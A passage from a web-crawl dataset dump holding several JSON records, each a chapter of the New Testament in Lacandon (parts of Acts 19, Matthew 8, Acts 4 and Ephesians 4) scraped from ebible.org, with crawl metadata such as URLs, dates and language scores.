u c'ujir u winiquirob efesio. Jach chich u muc' ij c'ujex u c'ujir u winiquirob efesio.\n29 Caj mac u xiquinob tu cu yawatob. Mʌ' ja wirej, u jer u jer mac ich tu cotor u cajar caj u yʌnxchun u yawatob. Jeroj tune', caj chucajob Gayo yejer Aristarco caj chopʌyta'b. A ray xibo', caj tarob ich u ru'umin Macedonia yejer Pablo uch, quire' p'eri'ob u manob yejer Pablo. Jeroj caj u rʌc c'ʌnajob yacab ich tu cuch tu cu naj much'quinticob u bʌj u winiquirob efesio.\n30 Pablo u c'at yocar tu much'a'anob a jach p'ujob quir u tsicbar yejerob. Chen a yacsmʌnob tu yorob, mʌ' ju cha'bʌr u yocar Pablo.\n31 Bayiri' xan, yʌn jun yarob u jach ts'urirob u ru'umin Asia u jach yajob Pablo, rajen tuchi'ta'bob t'ʌnbir Pablo soc mʌ' ju yocar tu much'a'anob a jach p'ujobo'.\n32 Ti' toy cu macʌrob u xiquinob tu cu jach awʌtob a pimo' tu much'a'anob. U jer u jer cu yawʌt, u jer u jer cu nunquicob awat. Ya'ab mac mʌ' yerob biquinin caj u much'quintajob u bʌj.\n33 Caj tench'inta'b Alejandro ten jun yarob u winiquirob judío. Tench'inta'b ca' xic tsicbar yejer a pimo', a ti' much'a'anob. Mʌ' ja wirej, ara'b ti' Alejandro ten jun yarob mac biquinin caj tarob u much'quintob u bʌj u winiquirob efesio. Alejandro caj u nacsaj u c'ʌb soc ca' macʌc u chi'ob a pimo'. Mʌ' ja wirej, u c'at u tsicbar yejer pimo' soc taquicob u bʌj u winiquirob judío, quire' mʌna' u si'pirob u winiquirob judío, quire' a ba' u berob u winiquirob efesio sam.\n34 Barej caj u yirajob a pimo' Alejandro caj c'ʌ'ota'b Alejandro raji' u winiquir judío ten a pimo'. Rajen p'eri'ob caj u jach c'amquintajob u t'ʌnob caj ya'arob:\n―Jach carem ij c'ujex Diana u c'ujir u winiquirob efesio ―baxuc caj awʌtnʌjob orac u chucpʌjʌr ca'tur hora.\n35 Barej ra' u q'uinin c'ucha'an yor yʌjts'ibir ju'un ich u cajar Efeso caj sisquinta'b yorob a pimo' u winiquirob efesio, caj rʌc ts'oc yawʌtob caj u ya'araj ti'ob:\n―U'yex ba' quin wa'aric techex u xibirechex u cajar Efeso. Tu cotor mac ich yoc'ocab toc yerob quij cʌnantiquex yatoch ij c'ujex Diana. Jach carem ij c'ujex Diana. Tu cotor mac yerob quij cʌnantiquex u tunichir a jach taj rubij yochir ij c'ujex Diana ca'anan.\n36 Mʌna' mac c'ucha'an yor u ma'quinticob aro' quire' taj quen. Rajen toc xur a t'ʌnex baje'rer. Mʌ' a yʌn betiquex ba', wa mʌ' ta yʌn qui'qui' tucrexi'.\n37 Mʌ' ja wirej, a je' xiba', a caj a chucajex caj a purex tera'. Mʌna' c'as caj u betajob ti' ij c'ujex Diana. Mʌ' ju p'astajobi'. Mʌ' ju ya'crajob ba' a ti' yʌn ich u yatoch ij c'ujex Diana.\n38 Rajen wa Demetrio yejer u yet jo't' sʌc taq'uinob yʌn ba' quir u taquicob u jo'r mac, arej u binob ich ʌcʌtan jach juez u cajar tu cu naj tocar u jo'r mac. Ti' a ray carmen najo', ti' yʌn tu cu pacran tocar u jo'rob mac.\n39 Cax wa yʌn u jer ba' a ca wa'ariquex baje'rer, soc a quetquintic a tucurex ca' a muchq'uintiquex a bʌjex tu cu naj muchquinticob u bʌj u jach ts'urirob quir u tsicbʌticob a ba' a c'atex. Quire' baxuc ti' ts'iba'an u ju'unin ic cajarex.\n40 Mʌ' ja wirej, toc peca'an in worob quir u tocar in jo'rob ten gobierno ich u cajar Roma wa cu c'atic tenob ba'wir p'ujechex baje'rer, quire' mʌna' ba' c'ucha'an in worob in wa'aricob ti' ―baxuc caj u ya'araj yʌjts'ibir ju'unin ich u cajar Efeso.\n41 Caj ts'oc u ya'aric baxuco', caj u tuchi'taj ca' xicob tu yatochob a pimo' u winiquirob efesio.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/AC19.html","date":"2022-06-26T17:50:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103271763.15\/warc\/CC-MAIN-20220626161834-20220626191834-00085.warc.gz","language":"lac","language_score":0.9999985695,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9999985694885254}","num_words":2041,"character_repetition_ratio":0.082,"word_repetition_ratio":0.003,"special_characters_ratio":0.278,"stopwords_ratio":0.453,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"8\nJesús cu jawsic iq'uer u ca' ti' xib\n(Mr. 1.40‑45; Lc. 5.12‑16)\n1 Uche' ti' yʌn Jesús ich u jo'r p'uc wits. Caj emij caj rʌc sayob tu pach mac. Jach pim caj binob tu pach Jesús.\n2 Caj u juts'aj u bʌj tu yʌn Jesús ra' u cʌnmʌn iq'uer u ca', xib. Caj xonraj ich tu yʌn Jesús. Caj ya'araj:\n―In wer c'ucha'an a wor a jawsiquen Jaj Ts'urir wa ja c'at a jawsiquen ―quij a iq'uer u ca'.\n3 Jesús caj u tʌraj a iq'uer u ca'. Caj u tʌraj Jesús caj ara'b ten Jesús:\n―In c'at in wiric a jawʌr ―quij Jesús.\nSeb caj toc jawij iq'uer u ca'.\n4 Caj u toc araj ti', Jesús:\n―Iric, mʌ' a bin a wa'aric tu ca man bic jawech. Chen tar a bin ich sacerdote u winiquirob judío quir a sijic ti' a ba' ya'ara' Moisés uch. Soc yer tu cotor mac jawsa'bech ―quij Jesús.\nJawsa'b ten Jesús u c'urew yʌjt'ʌnin cien soldados u winiquir romano\n(Lc. 7.1‑10)\n5 Caj c'uchij ich u cajar Capernaum caj u nup'aj u winiquir romano. Yʌjt'ʌnin cien soldados caj c'uchij ich Jesús caj u chich c'ataj ca' xic ich yatoch.\n6 Caj ya'araj ti':\n―Jaj Ts'urir ―quij―. Yaj in c'urew ti' yʌn tin watoch. Jach yaj mʌ' u pec.\n7 Jesús ara'b ti'e':\n―Jeroj, cux in jawsej.\n8 Caj u nuncaj yʌjt'ʌnin cien soldados:\n―Jaj Ts'urir, mʌ' tsoy in wacsiquech tin watoch, quire' yʌn in si'pir. Ca' a jawsej in c'urew.\n9 Mʌ' ja wirej, cax yʌjt'ʌninen cien soldados quin ts'urintic. Ra' in ts'urir a mac a cu ya'aric in beyaj, ra' in jach ts'urir. Rajen wa quin t'ʌnic turiri' in soldado ca' xic, cu bin. Wa quin t'ʌnic u jer ca' tac, cu tar. Wa quin t'ʌnic in c'urew ca' xic tu beyaj, cu bin. Baxuc a techo', in wer wa ca wa'aric ca' jawʌc, je' u jawʌre'.\n10 Caj ts'oc yubic Jesús a ba' ara'b ti' ten yʌjt'ʌnin cien soldados caj jaq'uij yor Jesús. Caj u t'ʌnaj a mac a cu tar u cʌnicob u t'ʌn. Caj ya'araj Jesús:\n―Mʌ' in wiramʌn mac tu cotor ich u winiquirob judío, wa caj u qui' acsaj tu yor an bic yʌjt'ʌnin cien soldados. Ra' caj u qui' acsaj tu yor ti' C'uj.\n11 Caj ya'araj Jesús ti':\n―U'yex ba' quin wac. Tar u tar jach pim ich yoc'ocab, quire' u yet binacob Abraham yejer Isaac yejer Jacob, soc p'eri'ob u cʌjtarob ich ca'anan tu cu bin u reyinticob C'uj.\n12 Barej a techexo', a cu tus ya'aricob: \"A tenob, in nunquirob Abraham, rajen cu bin u yacsiquenob C'uj.\"\nChen a teno', quin wa'aric techex, cu bin joc'sa'birechex ten C'uj ich c'ac'. Ti' ca bin a jʌch'iquex a cojex ich c'ac', quire' jach yaj ca bin a muc'yajex. Ta ca bin a wac'tiquex a bʌjex ich c'ac'.\n13 Caj ya'araj Jesús. Ya'araj ti' yʌjt'ʌnin cien soldados:\n―Xen ta watoch. A ta wu'yaje', toc jaw, quire' caj a wacsaj ta wor.\nRa' u q'uinin caj jaw u yajir u c'urew yʌjt'ʌnin cien soldados.\nJesús caj u jawsaj yixquit Pedro\n(Mr. 1.29‑31; Lc. 4.38‑39)\n14 Jesús caj bin tu yatoch Pedro. Caj yiraj yixquit Pedro. Caj yiraj characbar tu ch'ac, yaj u jo'r.\n15 Caj tar u c'ʌb yixquit ten Jesús. Caj jaw u yajir u jo'r. Caj riq'uij, caj yʌnx chun u jansic ti'ob.\nJesús caj u jawsaj mac; ya'ab mac caj u jawsaj u yajirir\n(Mr. 1.32‑34; Lc. 4.40‑41)\n16 Caj ac'birchʌjij, caj tar u much'quinticob u bʌjob ich Jesús. Jach pim caj rʌc tar ich Jesús. Caj tarob purbir ti', a aca'an ti'ob quisin. Caj rʌc joc'sa'b u quisinin ten Jesús. Caj u t'ʌnaj quisin ca' jocac. Rʌc jaw u yajirir a mac a jach tar purbir ti'.\n17 Jawsa'b ten Jesús tu cotor mac quir u nup'ur u t'ʌn a ts'ibta'b ten yʌjtseq'uir u t'ʌn C'uj, Isaías uch. Caj ya'araj Isaías uch: \"U bʌjiri' Cristo cu bin u jawsic u yajir a mac yʌn ti'\", baxuc caj ya'araj Isaías uch.\nA mac a ju c'at u sayʌr tu pach Jesús\n(Lc. 9.57‑62)\n18 Caj yiraj jach pim mac Jesús. Mʌ' tu cu man, quire' jach pim. Caj ya'araj:\n―Ca' xico'onex pʌchir c'ac'nab.\n19 A ra' u q'uinino', caj c'uchij yʌjcamsʌyʌjir u t'ʌn Moisés ich Jesús. Caj ara'b ti' ten yʌjcamsʌyʌjir u t'ʌn Moisés:\n―In wʌjcamsʌyʌjirech, arej in tar ta pach quir in cʌnic a t'ʌn cax tu ca bin.\n20 Jesús caj u nuncaj ti':\n―A bʌc'o' yʌn u way tu cu wenʌn. A ch'ich'o' yʌn u c'ʌ'che' tu cu wenʌn. Barej a teno', a baxuquenechexo', mʌna' in watoch tu quin wenʌn.\n21 U jer u camsʌwinicob caj ya'araj ti' Jesús:\n―Arej in yʌn p'atʌr ich yicnʌn in tet hasta cu quimin. Ca' bin ts'ocac u quimin, caj in mucaj u baquer in tet. Quin tar ta pach quir in cʌnic a t'ʌn.\n22 Jesús caj u nuncaj ti':\n―Cojen tin pach. Tsire'ej a tet. Arej a mac a toc quimen ʌcʌtan tu wich C'uj, quire' mʌ' ju yacsob tu yorob, ca' u muquejob u baquer u quimirirob.\nJesús caj u t'ʌnaj yic'ar ca' ch'enac ca' ch'enac u ya'amin xan\n(Mr. 4.35‑41; Lc. 8.22‑25)\n23 Caj ts'oc aro'. Jesús caj oquij ich chem quir u ch'ʌctic c'ac'nab. Yet binac u camsʌwinicob.\n24 Caj tar yic'ar tu yʌnob ich c'ac'nab. C'am yic'ar caj tarij. Caj burij u chem quire' u yaminin. Wenʌn u ca' Jesús caj burij chem.\n25 U camsʌwinicob caj as Jesús caj ya'arob:\n―Tabar in jururob, Jaj Ts'urir. Cʌnante tenob soc mʌ' in jururob.\n26 Jesús caj u nuncaj ti' u camsʌwinicob:\n―Biquinin sajaquechex? Chichin a wacsmʌnex ta worex.\nCaj riq'uij Jesús u t'ʌnej yic'ar. Quet caj ch'en yic'ar yejer u yaminin. Qui' ch'en u yaminin. Qui' ch'en yic'ar xan.\n27 Caj yirob u camsʌwinicob caj jaq'uij yorob. Caj ya'arajob:\n―Ba' xibiri' a jera', cax cu jawsic u tar yic'ar? Cax u yaminin c'ac'nab cu jawsic.\nJoc'sa'b c'ac'as quisin ten Jesús. Ca' tur xib joc'sa'b c'ac'as quisin ti'ob\n(Mr. 5.1‑20; Lc. 8.26‑39)\n28 Caj c'uchij Jesús pʌchij c'ac'nab tu ru'umin Gadara. Ca'tur xib caj c'uchob ich Jesús tu cu but'ur u baquer macob. Ti' cʌja'anob tu cu but'ur u baquer macob. Caj joc'ob tu japnin tunich tu cu but'ur u baquer macob. A ca'tur xibo' yʌn u quisinin. Jach ts'icob, rajen mʌ' u cha'bʌrob u manob u rac'ob.\n29 A mac aca'anob ti' quisine', ra' caj u purob u t'ʌn ti' Jesús. Caj ya'arob:\n―Ba' a c'at tenob Jesús? A techo', u pararech C'uj. Tarech a puriquenob ich c'ac' cax mʌ' c'uchuc tu q'uinin?\n30 Mʌ' nenach yʌn tu yʌn Jesús yejer u camsʌwinicob. Ti' yʌn aca'anob c'ac'as quisini'. Ti' yʌn yʌrʌc' cajij q'uec'ʌn, jach pim. Cu manob u janʌnob xiw.\n31 A quisino', aca'anob ich a ca'tur xib, caj u chich c'atajob ti' Jesús:\n―Ar in binob ich cajij q'uec'ʌn wa ca joc'siquenob.\n32 Caj u nuncaj Jesús caj u ya'araj ti'ob:\n―Xenex ―quij.\nCaj joc' u quisinin ich xibob, caj bin ich u cajij q'uec'ʌn. Caj yubob u quisinin u cajij q'uec'ʌn caj ruc' yac'ab. Caj ruc' yac'ab ich ch'ica'anin wits. Caj u purob u bʌjob ich c'ac'nab. Caj rʌc bint ja', caj rʌc quimin.\n33 A cu cʌnanticob u yʌrʌc' cajij q'uec'ʌn, caj yirob u rʌc bin cajij q'uec'ʌn, caj jaq'uij yorob. Caj u c'ʌnajob yac'ab, caj u bin ya'arajob tu cajar a ba' u ber ti' u yʌrʌc' cajij q'uec'ʌn. Caj binob ya'arej tu cajar ba' u ber ti' u rac'ob, a mac aca'anob quisin ti' u rac'ob xan.\n34 Caj rʌc joc'ob tu cajar tu cotor mac. Caj binob ich Jesús. Caj yirob Jesús caj chich ara'b ti' Jesús:\n―Xen tech ich u jer ru'um.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/MT8.html","date":"2022-06-30T08:12:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103669266.42\/warc\/CC-MAIN-20220630062154-20220630092154-00706.warc.gz","language":"lac","language_score":1.0000013113,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.000001311302185}","num_words":1234,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.303,"stopwords_ratio":0.488,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"4\nPedro yejer Juan ʌcʌtan ch'iric ich u jach ts'urirob a carem najo' tu cu naj c'ujinticob C'uj u winiquirob judío\n1 Ti' toy cu tsicbar Pedro yejer u yet winiquirob judío a tu much'quintajob u bʌj ich Pedro yejer Juan, quire' jawsa'b a mech u yoque'. Jeroj caj c'uchob u jach ts'urirob a sacerdote ti' u winiquirob judío yejer u ts'urirob u policía a ti' yʌn ich a carem najo' tu cu naj c'ujinticob u winiquirob judío. Yet taracob saduceo, a cu ya'aricob: \"Mʌ' u riq'uir mac ich u quimirir.\"\n2 Ra' u jach ts'uririrob caj p'ujob ti' Pedro yejer Juan quire' cu camsicob u yet winiquirob judío ich a carem najo'. Mʌ' ja'riri', p'ujob quire' cu tsec'ticob wa je' u riq'uir mac ich u quimirir an ten bic Jesús riq'uij ich u quimirir.\n3 Jeroj tune', chuc Pedro yejer Juan ten u policía a ti' yʌnob ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío. Quire' caj u chucajob oq'uin caj bin purbir mʌcbir tu cu naj mʌquic mac soc samane' cu joc'sicob u tocar u jo'r Pedro yejer Juan.\n4 Yʌn ya'ab mac a caj u yacsajob tu yorob tu tu yubob u tsec'tic u t'ʌn C'uj Pedro. Yʌn cinco mil xib caj u yacsajob tu yorob, ja'ri' xaca'an a xibo', mʌ' xaca'an a xquico'.\n5 Caj sasij caj u much'quintajob u bʌj ich u cajar Jerusalén quir u tocar u jo'r Pedro yejer Juan. Caj tarob u jach ts'urirob u winiquirob judío, yet taracob yʌjcamsʌyʌjirob u t'ʌn Moisés, yet taracob u ts'urir u cajar a cu ya'ara' a nuxibo'.\n6 Yet tarac Anás, raji' u jach ts'urir tu cotor u sacerdote u winiquirob judío. Yet tarac Caifás, yet tarac Juan, yet tarac Alejandro u bʌjob Anás.\n7 Jeroj tune', caj tuchi'ta'b mac ca' xic pʌybir Pedro yejer Juan tu mʌca'anob. Caj c'uchob caj ch'icrʌj Pedro yejer Juan ich ʌcʌtan tu cotor u ts'urirob u winiquirob judío. Caj c'ata'b ten u ts'urirob u winiquirob judío ti' Pedro yejer Juan:\n―Ba'quir a muq'uexi' quir a jawsiquex a mac mech u yoque'? Mac caj u ts'aja techex a beyajex quir a betiquex a baxuco'?\n8 Caj u nuncaj ti'ob Pedro, chen Pedro mʌ' cu nunquiqui', u Taj'or u Pixam C'uj, rajen raji' caj u ya'araj ti'ob:\n―Ca c'atiquex tenob an ten bic caj in jawsajob a mech u yoque'.\n9 U'yex ―quij Pedro―, in jach ts'urir ij quet winiquirob judío yejer in ts'urir a nuxibo'. Bayiri' xan, u'yex tu cotorechex u winiquirob judío.\n10 U'yex a ba' quin wac techex ca' a najtex bic tabar caj in jawsajob a mech yoque'. Mʌ' ja wirej, yejer u muc' Jesús caj in jawsajob a mech yoque'. A Jesúso', a cʌja'an ich u cajar Nazaret uche'. A caj a sinajex ich cruze', chen ric'sa'b Jesús ich u quimirir ten C'uj. Rajen ti' yʌn ʌcʌtan techex ch'icric tu yʌnechex a mech yoc uche' baje'rer.\n11 U'yex tu cotorechex u winiquirob judíojo', rajen ts'ibta'b ich u t'ʌn C'uj ti' Jesús tu cu ya'aric wa raji' u tunichir a pur ten a mac a tu ts'ʌpquintajob tunich quir u beticob a carem najo'. Chen baje'rer ra' u tunichir a cu chichquintic u yoc naje'. Mʌna' u jer u tunichir an ten bic raji'. Mʌ' ja wirej, a techexo', caj a cʌnajex a mac a caj u pich'tajob a ray u tunichiro', quire' techex mʌ' ja c'ʌmex Jesús.\n12 Mʌ' ja wirej ―quij Pedro―, mʌna' u jer mac cu bin u taquico'onex, quire' mʌna' u jer tuchi'ta'b ten C'uj quir u taquico'onex tera' ich yoc'ocab ―baxuc tu ya'araj Pedro ti'ob.\n13 U jach ts'urirob u winiquir judio caj ts'oc u yubicob a ba' ara'b ti'ob ten Pedro yejer Juan caj u ya'arajob:\n―A biquinin jach chich yorob yubicob, robob mʌ' yerob ju'uni', tin t'ʌnob robob yubicob gente?\nChen caj u c'ʌ'otob yet manacob yejer Jesús rajen jac'a'an u yorob u jach ts'urirob u winiquirob judío.\n14 Bayiri' xan, caj u yirob ti' ch'ica'an a mac a jaw u yoque' tu yʌnob rajen mʌ' yerob bic tabar u nuquicob.\n15 Jeroj caj u jamach joc'sajob Pedro yejer Juan ich tancab soc u tsicbarob ich u wʌc'ʌs jach ts'urirob.\n16 Caj u tsicbʌjtajob tan ya'aricob:\n―Bic quic bin ic betex ti' a ray xibo' a ti' yʌn ich tancabo'? Mʌ' ja wirej, caj u yubob ij quet winiquir judío u juminta' u jawʌr a mech u yoque' rajen yerob tu cotor mac ich u cajar Jerusalén. Mʌ' bic tabar ij cariquex: \"Mʌ' taji'\" wa quij cariquex mʌ' carem u beyaj aro'.\n17 Soc mʌ' u manob u tsec'ticob Pedro yejer Juan, ca' ic jac'sex u yorob soc u p'ʌticob u tsec'ticob u t'ʌn ti' Jesús ―baxuc caj u ya'arajob u jach ts'urirob u winiquirob judío.\n18 U jach ts'urirob u winiquirob judío caj u wʌc'ʌs pʌyajob Pedro yejer Juan ich tu yʌn a jach ts'urirob u winiquirob judío. Jeroj acsa'b Pedro yejer Juan tu yʌnob. Jeroj tune', caj q'ueya'b Pedro yejer Juan ten u jach ts'urirob cu ya'aricob wa mʌ' u yʌn camsicob ti' Jesús mʌ' u yʌn tsec'ticob ti' xan.\n19 Pedro caj u nuncaj ti'ob, tan ya'aric:\n―Tucrex wa ba' tsoy tu t'ʌn C'uj, wa quin chen u'yicob a t'ʌnex, wa yʌn in wu'yicob a ba' cu ya'aric C'uj?\n20 Tin t'ʌn, mʌ' in wu'yicob a t'ʌnex, yʌn in wu'yicob a ba' cu ya'aric C'uj. Yʌn in man in wa'aricob a ba' caj in wirajob yejer a ba' caj in wu'yajob ―baxuc tu ya'araj Pedro ti' u jach ts'urirob.\n21 Jeroj tune', chich t'ʌn Pedro yejer Juan ten u jach ts'urirob u winiquirob judío, caj ts'oquij caj cha'b u binob ten u jach ts'urirob. Mʌ' ja wirej, u jach ts'urirob mʌ' yerob bic cu bin u beticob ti'ob quire' cu sʌjta'r u yet winiquirob judío quire' robob cu jach t'ʌnicob C'uj cu ya'aricob bic jach carem C'uj, quire' a ba' u ber ti' a mech u yoque'.\n22 Bayiri' xan, a mac jawsa'b ti' a mech yoque' manij cuarenta yaxq'uin.\nA mac a yacsmʌnob tu yorob cu t'ʌnicob C'uj quir u chichquintic u yorob\n23 Caj ts'oc u cha'bʌr Pedro yejer Juan ten u jach ts'urirob u winiquirob judío, caj binob tu yʌn a yacsmʌnob tu yorob u t'ʌn C'uj. Caj c'uchob caj tsicbanʌjij Pedro a ba' ara'b ti'ob ten u jach ts'urirob u winiquirob judío a nuxibo', yejer u jach ts'urirob u sacerdote u winiquirob judío.\n24 Caj ts'oc u yubicob a ba' caj u ya'araj Pedro ti'ob jeroj caj u t'ʌnajob C'uj. P'eri'ob cu tsicbarob yejer C'uj tu cu t'ʌnicob, tan ya'aricob:\n―Jach caremech C'uj ―quij ya'aricob―, c'ucha'an a wor a betej tu cotor ba'. Tech C'uj caj a betaj ru'um, tech caj a betaj c'ac'nab yejer tu cotor a ba' yʌn ich c'ac'nab. Tech caj a betaj ca'anan yejer tu cotor a ba' ti' yʌn ich ca'anan.\n25 Ic nunquirex David caj u quibaj a ba' ara'b ti' ten u Taj'or u Pixam C'uj rajen baxuc a jera' caj u ts'ibtaj uch:\nAn biquinin caj p'ujob tu cotor u cajar a tu yʌn a mʌ' u winiquirob judío? An biquinin cu tucricob c'as a pimo'? quij David.\n26 Mʌ' ja wirej, cu ts'iquinta' C'uj ten u jach ts'urirob u cajarob. Bayiri' xan, cu ts'iquinta' C'uj ten a reyo' a cu reyinticob u cajarob. Cu rʌc much'quinticob u bʌj quir u ts'ictarob yejer C'uj, bayiri' yejer a mac a teta'b ten C'uj.\nBaxuc caj u ts'ibtaj David caj ts'a'b u tucur ten C'uj uch.\n27 A mac a ti' toy cu t'ʌnicob C'uj caj u ya'arajob ti' C'uj:\n―Jach jaj C'uj, toc nup' a t'ʌn tech baje'rer, quire' ich a je' cajara', u cajar Jerusaléna', cu much'quintob u bʌj. Mʌ' ja wirej, cu much'quintob u bʌj Pilato yejer u rey a Herodes yejer a mac a mʌ' u winiquirob judío, cax yejer u winiquirob judío quire' u p'ec yiricob Jesús. Tan u ts'iquinta'r a parar Jesús, C'uj, a mac a tech caj a tetaj.\n28 Jeroj, caj ts'oc u p'acticob caj u quinsajob a parar C'uj an ten bic tech caj a toc araj uch, quire' baxuc caj a toc tucraj tu ch'ic chunin.\n29 Ir a wirej C'uj, ―quij ya'aric a yacsmʌnob tu yorob―, baje'rer robob cu p'acticob a tenob a mac a tech caj a tetaj. Rajen chichquintej in worob a tenobo' C'uj baje'rer, soc mʌ' in ch'ic sajaquirob ti'ob, soc in bin in tsec'ticob a t'ʌn C'uj.\n30 Chuquej tenob a muc' C'uj, soc c'ucha'an in worob in jawsicob a mac a yʌn u yajiriro'. Chuquej tenob a muc' C'uj, quir in beticob carem beyajob, soc in wesicob ti'ob u muc' a parar Jesús, C'uj. ―baxuc caj u t'ʌnajob C'uj a yacsmʌnob tu yorob.\n31 Jeroj caj ts'oc u tsicbarob ti' C'uj, tu cura'anob ich naj caj pecnʌjij u nʌjir, jeroj tune', caj tar u Taj'or u Pixam C'uj tu yʌnob a yacsmʌnob tu yorob, jeroj caj ruc'ob, caj binob u tsec'ticob u t'ʌn C'uj. Jach chichij u yorob tu tu tsec'tajob u t'ʌn C'uj.\nRa' u ba'tac tu cotor mac\n32 A mac a yacsmʌnob tu yorob u t'ʌn C'uj caj u p'eriquintob u tucurob soc p'eri' u yorob. Rajen mʌna' mac cu yaricob: \"A teno' ten yʌnino'.\" Quire' tu cotor mac yʌnin.\n33 Mʌ' ja wirej, a mac a tuchi'ta'b ten Cristo cu man u tsicbʌticob riq'uij Cristo. Jach manan yʌn u muc'ob tu cu tsicbʌticob ti' Cristo ich mac. Mʌ' ja wirej, a C'uj jach manan caj u yamtaj ti'ob.\n34 Quire' tʌcʌ yʌn u noc'ob. Wa cu yiricob mʌna' u ba'tac cu jasʌr ti'. Baxuc wa mʌna' u yo'ochob cu jasʌr ti'. Wa mʌna' u noc'ob cu ts'abʌr ti'. Quire' a mac a yʌnin ru'um cu cʌnic quir u jaricob u taq'uin, bayiri' xan, a mac a yʌnin yatocho' cu canic quir u jaric u taq'uin.\n35 Tu cu jaricob u taq'uinob ti' cu binob u p'ʌticob u taq'uinob ich a mac a tuchta'bob ten Jesús quir u tsec'ticob u t'ʌn. Robob tune', cu rʌc jʌsicob ti' a mac mʌna' ti'e'.\n36 A baywo', José ti' yʌn tu yʌnob a yacsmʌnob tu yorob u t'ʌn C'uj. Raji' cʌja'an ich u petenin Chipre uch. Ra' pachij u jer u c'aba', Bernabé u c'aba'. Raji' pʌcha'an ten a mac a tuchi'ta'b ten Jesús quir u tsec'ticob u t'ʌn, quire' raji' u c'at u ya'aric: Ra' cu chichquintic u yor mac. Ra' u yo'nen Leví xan, a Bernabéjo'.\n37 Bernabé xan, caj u canaj u ru'um caj ts'oc u canic caj tar p'ʌtbir u taq'uin u bo'orir u ru'um ich a mac a tuchi'ta'b ten Jesús quir u tsec'ticob u t'ʌn.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/AC4.html","date":"2022-06-27T11:45:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103331729.20\/warc\/CC-MAIN-20220627103810-20220627133810-00321.warc.gz","language":"lac","language_score":1.0000058413,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.000005841255188}","num_words":1725,"character_repetition_ratio":0.109,"word_repetition_ratio":0.005,"special_characters_ratio":0.275,"stopwords_ratio":0.483,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"4\nQuire' u Taj'or u Pixam C'uj tu p'eri'o'onex\n1 A teno', Pablojen, a mac ti' yʌnen tu cu ma'cʌr winicob quire' ra' u beyaj C'uj. Baje'rer tan in chich aric techex quire' C'uj caj u pʌyajechex soc ra' yʌnin techex C'uj. Rajen yʌn a manex tu tsoyir quire' raji' yʌninex C'uj.\n2 Mʌ' a yʌn tucriquex wa chen jach nojechex, mʌ' a tucriquex wa jach caremechex. A baywo' pacran jawsex a ba' c'asir caj betaj u jer a ti' yʌn tu' yʌnechex. Jeroj tune', tu cotor mac je' u yiricob wa ca pacran yajquintiquex a bʌjex.\n3 Mʌ' ja wirej, caj u toc p'eri'quintajechex u Taj'or u Pixam C'uj, rajen mʌ' a pacran jʌsiquex a bʌj ti' a wet acsʌ'orirex. Ca' a cʌnex mun jach no'j aro' soc mʌ' a jʌsiquex a bʌj.\n4 Ra' u q'uinin caj u p'eri'quintaj to'onex u Taj'or Pixam C'uj a mac a tu yacsob tu yorob ti' Jesús, bayiri' chen turiri' yʌn u Taj'or Pixam C'uj a tij c'ʌmajex. Bayiri' xan, turiri' ij cuxtarex ca' bin ij c'ʌmiquex wa ber ca' bin c'uchuco'onex ca'anan, quire' queto'onex caj u pʌyajo'onex C'uj.\n5 Turiri' ic Jaj Ts'urirex, bayiri' xan turiri' t'ʌn, quij, caj tij cacsex tij corex ti' turiri' xan. Bayiri' xan, chen turiri' tu cu yacsic ja' tu jo'r mac turiri' xan.\n6 Turiri' xan, ic Tetex C'uj, raji' p'eri' ic Tetex tij cotorex. Jari' raji' cu ya'aric to'onex. Raji' quic ts'urintex soc ic yamtiquex ti'. Raji' ti' yʌn tic pixamex.\n7 Quire' u jach tsoyir u pixam C'uj rajen caj u ts'aja ti' jujunturo'onex soc ca' ij cʌniquex ic ne'er ba'. Mʌ' ja wirej, a C'ujo' caj ts'a'b ti' u ne'er ba' Cristo, rajen a Cristojo' quire' u jach tsoyir u pixam xan caj u ts'aja ti' to'onex ic ne'erex ba'.\n8 Mʌ' ja wirej, cu ya'aric ich u t'ʌn C'uj a uchben t'ʌno', Cristo cu tsicbari':\nJe' u rʌc ch'esic u beyajob a mac a cu p'acticob ti', pachir je' u wʌc'ʌs bin ich ca'anan. Wa ber ca' bin wʌc'ʌs xic ich ca'anan je' u tuchi'ta' ti' to'onex ich yoc'ocab a ba' cu bin u yamte to'onex.\nBaxuc cu ya'aric ich u t'ʌn C'uj, a uchben t'ʌno'.\n9 Mʌ' ja wirej, cu ya'aric: \"Je' u wʌc'ʌs bin ich ca'anan\" quire' tarij uch ich ca'anan, caj c'uchij ich yoc'ocab. Mʌ' chen c'uchij ich yoc'ocab, ti' binij tu quimen mac.\n10 Raji' Cristo caj c'uchij ich yoc'ocab. Bayiri' xan, raji' wʌc'ʌs binij ich ca'anan. Ra'iri' xan, ti' yʌn ich ca'anan soc raji' quic bin ic ts'urintex tu cotor ba', quij, cax ca'anan, cax ich yoc'ocab, cax a tu cu bin mac a quimen.\n11 Raji' caj u ts'ajaj a tenob in ne'erob ba', quij. Yʌn mac tub yʌno'onex a ts'a'b ti' u ne'er ba' ten Cristo ti'ob soc robob yʌjtseq'uirob u t'ʌn Cristo. Yʌn mac ich a yacsmʌnob tu yorob a ts'a'b u ne'er ba' soc u tsicbar an ten bic C'uj cu ya'aric. Yʌn mac ich a yacsmʌnob tu yorob, a ts'a'b ti' ten C'uj u ne'er ba' soc ic ts'urintiquex u quet acsʌ'orirex. Yʌn mac ich a yacsmʌnob tu yorob, a ts'a'b ti' ten 